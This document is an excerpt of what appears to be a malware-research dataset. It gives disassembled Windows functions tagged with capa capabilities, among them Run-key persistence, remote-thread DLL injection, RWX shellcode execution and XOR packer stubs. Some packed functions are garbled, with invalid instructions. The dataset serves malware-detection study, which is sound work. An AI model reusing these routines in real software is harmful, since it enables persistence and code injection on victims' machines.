joyce8/EMBER2024-capa huggingface dataset:
Function at 0x776138
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15
push 0
push 0
dec ecx
jne 0x776140
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x77631e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x776291
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x5c]
call fcn.00409f14
lea edx, [ebp - 0x64]
mov eax, 0x776338
call fcn.00522ba0
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 0x18]
call fcn.0043a038
push 0
push 0
push 0x77637c
push 0x7763a0
push 0x7763b4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004342d8
add esp, 0x1c
lea edx, [ebp - 0x74]
lea eax, [ebp - 0x28]
call fcn.0043a120
push 0x20
push 0x7763d8
push 0x7763ec
push 0x776428
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.004342d8
add esp, 0x18
lea edx, [ebp - 0x84]
lea eax, [ebp - 0x38]
call fcn.0043a120
push 0x776438
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004342d8
add esp, 0xc
lea edx, [ebp - 0x98]
lea eax, [ebp - 0x88]
call fcn.00439b2c
mov edx, dword [ebp - 0x88]
lea eax, [ebp - 4]
mov ecx, 0x776444
call fcn.0040dc88
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x48]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
test eax, eax
jne 0x776287
push 0x776454
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.004342d8
add esp, 0xc
lea edx, [ebp - 0xac]
lea eax, [ebp - 0x9c]
call fcn.0043943c
mov eax, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x5c]
call fcn.00421d38
lea eax, [ebp - 0x58]
call fcn.004341dc
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x58]
call fcn.0043a120
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x7762a3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x776325
lea eax, [ebp - 0xac]
call fcn.004341f0
lea eax, [ebp - 0x9c]
call fcn.00409f14
lea eax, [ebp - 0x98]
call fcn.004341f0
lea eax, [ebp - 0x88]
call fcn.0040dc44
lea eax, [ebp - 0x84]
mov edx, dword [0x4012f0]
mov ecx, 2
call fcn.0040b4a4
lea eax, [ebp - 0x64]
call fcn.0040dc44
lea eax, [ebp - 0x58]
call fcn.004341f0
lea eax, [ebp - 0x48]
mov edx, dword [0x401300]
mov ecx, 4
call fcn.0040b4a4
lea eax, [ebp - 4]
call fcn.0040dc44
ret

Function at 0x776470
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
mov ebx, eax
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x24
call fcn.00407a0c
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edx, ebx
movzx eax, word [ebp - 0x24]
call fcn.004226e4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7791ac
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x779268
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x7791db
mov eax, dword [ebp - 8]
call fcn.00409f14
jmp 0x779252
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040a33c
xor eax, eax
push ebp
push 0x77923d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, ebx
call fcn.0040ab34
mov edi, eax
push edi
call sub.kernel32.dll_ExpandEnvironmentStringsW
mov esi, eax
test esi, esi
jle 0x77922b
mov edx, esi
dec edx
mov eax, dword [ebp - 8]
call fcn.0040acc8
push esi
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.0040ab34
push eax
push edi
call sub.kernel32.dll_ExpandEnvironmentStringsW
jmp 0x779233
mov eax, dword [ebp - 8]
call fcn.00409f14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x779252
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x77926f
lea eax, [ebp - 4]
call fcn.00409f14
ret

Function at 0x779278
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x77932a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00409f14
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_GetVolumeInformationW
lea ecx, [ebp - 0x14]
mov eax, dword [ebp - 8]
shr eax, 0x10
movzx eax, ax
mov edx, 4
call fcn.00422918
push dword [ebp - 0x14]
push 0x779344
lea ecx, [ebp - 0x18]
movzx eax, word [ebp - 8]
mov edx, 4
call fcn.00422918
push dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 3
call fcn.0040ae28
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a2f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x779331
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00409f74
lea eax, [ebp - 4]
call fcn.00409f14
ret
Function at 0x7801c4
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, dword [0x79e4a4]
mov edx, 0x780244
mov eax, dword [0x7a6034]
call fcn.00539bf4
push 0
mov eax, dword [0x7a6034]
call fcn.00542e60
push eax
call sub.user32.dll_ShowWindow
push 0
mov eax, dword [0x79ecf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x188]
push eax
call sub.user32.dll_ShowWindow
jmp 0x78020a
xor eax, eax
call fcn.004c22e8
mov eax, dword [ebx]
call fcn.0040c010
mov edx, eax
mov eax, dword [ebx]
mov ecx, 0x3e8
call fcn.006d14e0
test al, al
je 0x780203
mov eax, dword [0x79e5e0]
mov eax, dword [eax]
call fcn.00408158
push 0
call sub.kernel32.dll_ExitProcess_1
Function at 0x780264
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov byte [ebp - 1], dl
mov esi, eax
xor eax, eax
push ebp
push 0x78049c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [esi + 0x3c0]
call fcn.004c4928
mov edi, eax
dec edi
test edi, edi
jl 0x7802d9
inc edi
xor ebx, ebx
mov edx, ebx
mov eax, dword [esi + 0x3c0]
call fcn.004c48f4
mov eax, dword [eax]
lea edx, [ebp - 8]
call fcn.00407e84
mov eax, dword [ebp - 8]
mov edx, 0x7804b8
call fcn.0040aed8
jne 0x7802d5
mov edx, ebx
mov eax, dword [esi + 0x3c0]
call fcn.004c48f4
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0x88]
inc ebx
dec edi
jne 0x780298
call fcn.00425bf0
fstp qword [esi + 0x428]
wait
mov eax, dword [0x79e5e0]
mov eax, dword [eax]
mov eax, dword [eax + 0x68]
mov dword [eax + 0x54], esi
mov dword [eax + 0x50], 0x78395c
mov dword [eax + 0x4c], esi
mov dword [eax + 0x48], 0x7837d4
cmp byte [ebp - 1], 0
je 0x780315
mov dword [eax + 0x5c], esi
mov dword [eax + 0x58], 0x783a4c
jmp 0x78031f
mov dword [eax + 0x5c], esi
mov dword [eax + 0x58], 0x7839c4
mov eax, dword [esi + 0x3f0]
call fcn.0053a1fc
mov eax, dword [esi + 0x3f4]
call fcn.0053a1fc
mov dl, 1
mov eax, dword [esi + 0x3e8]
call fcn.00539aa4
mov eax, dword [esi + 0x3fc]
call fcn.0053a204
mov eax, dword [0x7a6034]
mov edx, dword [eax]
call dword [edx + 0xac]
mov eax, dword [0x79ecf0]
mov eax, dword [eax]
call fcn.005eb8d0
lea eax, [ebp - 0xc]
mov edx, dword [0x79e378]
mov edx, dword [edx]
mov edx, dword [edx + 8]
mov edx, dword [edx + 0xc]
call fcn.0040ac40
mov eax, dword [ebp - 0xc]
call fcn.00773cc8
test al, al
je 0x7803ba
push 5
push 0x7804cc
push 0x7804cc
mov eax, dword [0x79e378]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0xc]
call fcn.0040ab34
push eax
push 0x7804cc
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, esi
call fcn.007801c4
mov eax, dword [0x79e378]
mov eax, dword [eax]
mov eax, dword [eax + 8]
call fcn.006e8ed0
mov eax, dword [esi + 0x3f8]
mov dword [eax + 0xc], 2
mov edx, 0x64
mov eax, dword [esi + 0x3fc]
call fcn.0055f6b0
mov edx, 0x64
mov eax, dword [esi + 0x3fc]
call fcn.0055f730
xor edx, edx
mov eax, dword [esi + 0x3e8]
call fcn.00539bf4
mov eax, dword [0x79e378]
mov eax, dword [eax]
mov ebx, dword [eax + 8]
cmp byte [ebx + 0x28], 0
je 0x780443
cmp byte [ebp - 1], 0
je 0x780443
push 5
push 0x7804cc
push 0x7804cc
mov eax, dword [ebx + 0x14]
call fcn.0040ab34
push eax
push 0x7804cc
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, esi
call fcn.007801c4
push 5
push 0x7804cc
push 0x7804cc
lea edx, [ebp - 0x10]
mov eax, dword [ebx + 0x14]
call fcn.00423440
mov eax, dword [ebp - 0x10]
call fcn.0040ab34
push eax
push 0x7804cc
push 0
call sub.shell32.dll_ShellExecuteW
mov eax, esi
call fcn.007801c4
Function at 0x404af1
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
add dword [eax], eax
mov dword [ecx + 0x4b2000fb], eax
add byte [edx], dl
or al, bh
inc ebp
or al, 0
and byte [eax], al
add byte [ebx - 0x2c74f353], cl
shr edx, 0x4e
mov byte [0x89230483], al
xchg edi, eax
cld
divps xmm4, xmmword [edi + 0x3bdf00e3]
pop ss
ja 0x404c03
jge 0x404b69
or al, 0x36
sal byte [ecx + ecx + 0x50], 0xe8
mov dword [0x8b0000c5], eax
push ebp
cld
cli
mov edx, 0xf8b8a97
lea ebx, [edx]
xchg edi, eax
mov cl, byte [ebx - 0x68e572f1]
adc al, 0x85
invalid
jns 0x404b33
cld
sub eax, 4
dec ecx
test dword [ebp - 0x637afb8b], ebp
ja 0x404b62
or byte [edi], cl
mov ebx, dword [ebp - 0xc]
mov eax, dword [edi - 0x4a]
mov ecx, dword [ebx + 8]
mov bh, 0xc1
mov dword [edi + 8], eax
mov ebp, dword [edx - 0x75]
inc edi
add al, 0x3b
pushal
jbe 0x404b8d
mov edx, esi
push ds
mov edi, dword [edi + 0xc]
mov esp, 0x7e0674ff
call 0xa4b5f3
lea edx, [ebx + 0x18]
mov dword [ebx - 0x33], edx
jmp 0x40df3f
mov dword [eax - 0x7d], ecx
fld qword [eax]
add byte [eax], al
add byte [eax], al
js 0x404c5e
adc al, 0x53
enter 0xffffffffffffc4eb, 0xffffffffffffff8b
adc ecx, dword [ecx + 0x8c28b10]
invalid
nop
fild dword [eax]
add edx, eax
mov dword [ecx - 0x28], edx
mov edx, dword [esi + 4]
mov dword [ecx + 4], edx
sub ch, byte [ecx + 0x1e]
push ebp
xchg edi, eax
mov dword [eax - 0x1d], edx
dec esi
add al, 0x2a
imul ebx, dword [esi], 0x50899755
jecxz 0x404cb6
add al, 0x89
dec edx
xor byte [esp + ebx*8], ah
adc al, 0x8b
jle 0x404c51
sub ecx, edi
mov edi, dword [esi]
inc ebx
rol dword [eax], 0x10
add al, ch
mov edx, edi
and ecx, 0xfffff000
dec ecx
sar ecx, 0xc
mov dword [esi + 0xc], ecx
mov esi, edi
or al, 0xfc
fidiv word [ebx + 0x21]
mov edx, dword [edx]
cmp ecx, dword [edx + 0xc]
popal
stc
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov dword [ecx + 4], edi
ret 0x44a
mov esp, ebp
pop ebp
ret 8

Function at 0x40adaf
Capabilities:
Encode data using xor

Disassembly:
call 0x40aca1
mov ecx, 0x22f
call 0x40adaf
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x40adb2
push eax
push ebp
push ebp
push esp
in eax, dx
push es
pop es
or byte [ecx], cl
push esp
inc ebp
inc edx
inc ebx
inc eax
inc ecx
inc esi
dec edi
cmp byte [ecx + 0x14], 0x4d
xchg byte [edi + 0x64da9888], al
sbb al, 0x1d
push ds
cmpsb byte [esi], byte es:[edi]
mov fs, esp
cmpsb byte [esi], byte es:[edi]
mov edi, 0xa4166b15
out dx, al
sub eax, 0xd21feca9
out 0x5a, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433a01
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426e53
and dword [ebp - 0x14], 0
cmp dword [0x444984], 0
mov dword [ebp - 0x18], eax
jne 0x433ab4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x433b5c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x433b5c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x444984], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x444988], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44498c], eax
call edi
push eax
call esi
mov dword [0x444994], eax
test eax, eax
je 0x433ab4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x444990], eax
mov eax, dword [0x444990]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x433b0d
cmp dword [0x444994], ecx
je 0x433b0d
push eax
call esi
push dword [0x444994]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x433b0d
test ebx, ebx
je 0x433b0d
call edi
test eax, eax
je 0x433b04
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x433b04
test byte [ebp - 8], 1
jne 0x433b0d
or dword [ebp + 0x10], 0x200000
jmp 0x433b40
mov eax, dword [0x444988]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x433b40
mov eax, dword [0x44498c]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x444984]
call esi
test eax, eax
je 0x433b5c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x433b5e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420bc6
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x408db0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
lock or edx, dword [eax]
xor ecx, ecx
test eax, eax
cmova eax, dword [ebx - 0x7403b23a]
dec ebp
or al, 0x83
stc
inc eax
push esi
jg 0x409003
pop fs
pop es
add al, byte [eax]
add byte [ecx - 0x7d], cl
stc
invalid
cmp ecx, 0x80004000
mov dword [edi + 0xc7], ecx
je 0x4090ea
cmp ecx, 0x80
test cl, dh
add byte [eax], al
add byte [ecx + 0x200f5], al
add byte [edi], cl
test dword [ecx - 0x75000000], esi
jne 0x409038
xor edx, edx
mov ecx, dword [esi + 0x38]
xor byte [ebx + 0xb700], 0x81
sub dl, byte [edx + 0xf000002]
mov bh, 0
add byte [ecx + 0x2922a], al
add byte [edi], cl
ret 0xd03b
push ecx
call dword [sym.imp.WSOCK32.dll_setsockopt]
movsd dword es:[edi], dword [esi]
clc
push dword [ebp + 0x21]
push ds
xor eax, 0x4540c1d8
call esi
test eax, eax
xchg ebp, eax
pop es
pop esi
mov esp, ebp
pop ebp
ret 0xb00c
cmp eax, 0xffffffff
jne 0x3ff131
jmp 0x409059
mov eax, 0x11187
pop esi
je 0x4090cb
pop ebp
ret 0xc
Function at 0x404ce0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x404d1b
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x404d02
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x404d13
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x404d1d
inc edi
add eax, 0x28
cmp edi, esi
jb 0x404cf8
xor eax, eax
pop edi
pop esi
ret
Function at 0x405b64
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [edx + 0x40], ch
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
invalid
invalid
invalid

Function at 0x405ba9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
add byte [edx + 0x40], ch
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00404c7e
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
test dword [esi - 0x55000004], edx

Function at 0x405bd8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esi - 0x55000004], edx
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
invalid
invalid
invalid
cld
Function at 0x70c413a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x70c4141f
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x70c414ac
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x70c4148f
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x70c414ac
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret

Function at 0x70c41518
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x70c4164b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x70c416b9
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x70c41850
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x70c41c30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x70c4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x70c46034]
sub esp, 4
test ebx, ebx
je 0x70c41c7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x70c41c74
test esi, esi
je 0x70c41c74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x70c41c50
mov dword [esp], 0x70c4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x70c41e60
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x70c442a8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x70c41eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x70c41f88
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x70c41eee
cmp eax, 4
jne 0x70c41f10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x70c41efe
cmp edx, 4
je 0x70c41efe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.70c41e60